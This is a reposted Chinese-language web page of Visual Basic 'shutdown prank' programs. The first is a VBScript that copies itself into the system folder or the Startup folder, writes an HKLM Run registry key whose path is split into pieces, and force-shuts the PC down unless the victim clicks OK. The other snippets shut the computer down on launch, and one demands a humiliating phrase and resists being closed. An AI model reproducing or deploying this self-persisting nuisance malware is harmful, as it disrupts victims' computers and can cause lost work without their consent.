VB關機惡搞小程式_vb

來源:互聯網
上載者:User

VB關機惡搞小程式一:

Dim fs, dirwin, c,Wll, str,strr,rSet fs = CreateObject("Scripting.FileSystemObject") Set dirwin = fs.GetSpecialFolder(1)Set Wll = WScript.CreateObject("WScript.Shell")Set c = fs.GetFile(WScript.ScriptFullName) str ="HK"&"LM\SOFT"&"WARE\Micr"&"osoft\Win"&"dows\Curren"&"tVersion\R"&"un\wxb"if (fs.FileExists(dirwin&"\wxb.vbs")) Thencall Show_And_Do("reg")elseif (fs.FileExists("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")) Thencall Show_And_Do("Startup")else On Error Resume Nextstrr=""Wll.RegWrite str, "C:\WINDOWS\system32\wxb.vbs", "REG_SZ"strr=Wll.Regread (str)if strr="" thenc.Copy("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")  elsec.Copy(dirwin&"\wxb.vbs") end if  end if  sub Show_And_Do(s)dim fr = MsgBox ("警告:請不要隨便動我的電腦! " & Chr(13) & Chr(10) & "確定->下次一定會先徵求同意的" & Chr(10) & "取消->愛咋滴咋地,我才不管他嘞!", 4145, "MsgBox Example")If r = 1 Then if s="Startup" thenset f = fs.GetFile("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")f.Delete()elseif s="reg" thenWll.RegDelete strset f = fs.GetFile(dirwin&"\wxb.vbs")f.Delete()end if Elsewll.run "Shutdown.exe -s -f -t 0"End Ifend sub

上面的有點複雜,那就來個稍微簡單的

代碼如下:

Option ExplicitConst SM_CLEANBOOT = 67Const EWX_LOGOFF = 0Const EWX_SHUTDOWN = 1Const EWX_REBOOT = 2Const EWX_FORCE = 4Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long,ByVal dwReserved As Long) As LongPrivate Sub Form_Load()  Call ExitWindowsEx(EWX_SHUTDOWN, 0)End Sub

當你可以採用一個更加簡單的寫法
直接輸入以下代碼即可:

Private Sub Form_Load()Shell "cmd /c shutdown -s -t 30"Rem 後面的 -t 0 表示0秒關機,如果去掉 -t 0 那麼預設是30秒關機End Sub

方法三:

Private Sub Command1_Click()If Text1 = "我是豬" ThenShell "cmd.exe /c shutdown -a"MsgBox "哈哈放過你吧!", 64, "提示"EndEnd IfEnd SubPrivate Sub Form_Load()MsgBox "哈哈你中招了、快說你是豬,否則1分鐘就讓你電腦關機", 48, "提示"Shell "cmd.exe /c shutdown -s -t " & 60, vbHideEnd SubPrivate Sub Form_Unload(Cancel As Integer)g = MsgBox("想關掉我???", vbOKCancel + vbQuestion, "關閉視窗")If g = vbOK ThenCancel = 11MsgBox "哈哈你關不掉我的快說我是豬吧", 64, "提示"End IfIf g = 2 ThenCancel = 11End IfEnd Sub

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.